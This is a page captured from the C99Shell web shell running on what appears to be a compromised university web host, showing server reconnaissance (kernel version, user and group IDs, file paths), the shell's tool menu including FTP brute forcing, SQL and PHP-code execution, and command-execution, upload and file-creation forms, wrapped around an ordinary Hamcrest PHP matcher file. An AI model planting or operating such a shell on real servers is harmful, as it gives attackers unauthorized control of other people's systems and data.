!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/hamcrest/hamcrest-php/hamcrest/Hamcrest/Arrays/   drwxr-xr-x
Free 117.42 GB of 200.55 GB (58.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     IsArray.php (3.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Hamcrest\Arrays;

/*
 Copyright (c) 2009 hamcrest.org
 */

// NOTE: This class is not exactly a direct port of Java's since Java handles
//       arrays quite differently than PHP

// TODO: Allow this to take matchers or values within the array
use Hamcrest\Description;
use 
Hamcrest\TypeSafeMatcher;
use 
Hamcrest\Util;

/**
 * Matcher for array whose elements satisfy a sequence of matchers.
 * The array size must equal the number of element matchers.
 */
class IsArray extends TypeSafeMatcher
{

    private 
$_elementMatchers;

    public function 
__construct(array $elementMatchers)
    {
        
parent::__construct(self::TYPE_ARRAY);

        
Util::checkAllAreMatchers($elementMatchers);

        
$this->_elementMatchers $elementMatchers;
    }

    protected function 
matchesSafely($array)
    {
        if (
array_keys($array) != array_keys($this->_elementMatchers)) {
            return 
false;
        }

        
/** @var $matcher \Hamcrest\Matcher */
        
foreach ($this->_elementMatchers as $k => $matcher) {
            if (!
$matcher->matches($array[$k])) {
                return 
false;
            }
        }

        return 
true;
    }

    protected function 
describeMismatchSafely($actualDescription $mismatchDescription)
    {
        if (
count($actual) != count($this->_elementMatchers)) {
            
$mismatchDescription->appendText('array length was ' count($actual));

            return;
        } elseif (
array_keys($actual) != array_keys($this->_elementMatchers)) {
            
$mismatchDescription->appendText('array keys were ')
                                                    ->
appendValueList(
                                                        
$this->descriptionStart(),
                                                        
$this->descriptionSeparator(),
                                                        
$this->descriptionEnd(),
                                                        
array_keys($actual)
                                                    )
                                                    ;

            return;
        }

        
/** @var $matcher \Hamcrest\Matcher */
        
foreach ($this->_elementMatchers as $k => $matcher) {
            if (!
$matcher->matches($actual[$k])) {
                
$mismatchDescription->appendText('element ')->appendValue($k)
                    ->
appendText(' was ')->appendValue($actual[$k]);

                return;
            }
        }
    }

    public function 
describeTo(Description $description)
    {
        
$description->appendList(
            
$this->descriptionStart(),
            
$this->descriptionSeparator(),
            
$this->descriptionEnd(),
            
$this->_elementMatchers
        
);
    }

    
/**
     * Evaluates to true only if each $matcher[$i] is satisfied by $array[$i].
     *
     * @factory ...
     */
    
public static function anArray(/* args... */)
    {
        
$args func_get_args();

        return new 
self(Util::createMatcherArray($args));
    }

    
// -- Protected Methods

    
protected function descriptionStart()
    {
        return 
'[';
    }

    protected function 
descriptionSeparator()
    {
        return 
', ';
    }

    protected function 
descriptionEnd()
    {
        return 
']';
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0123 ]--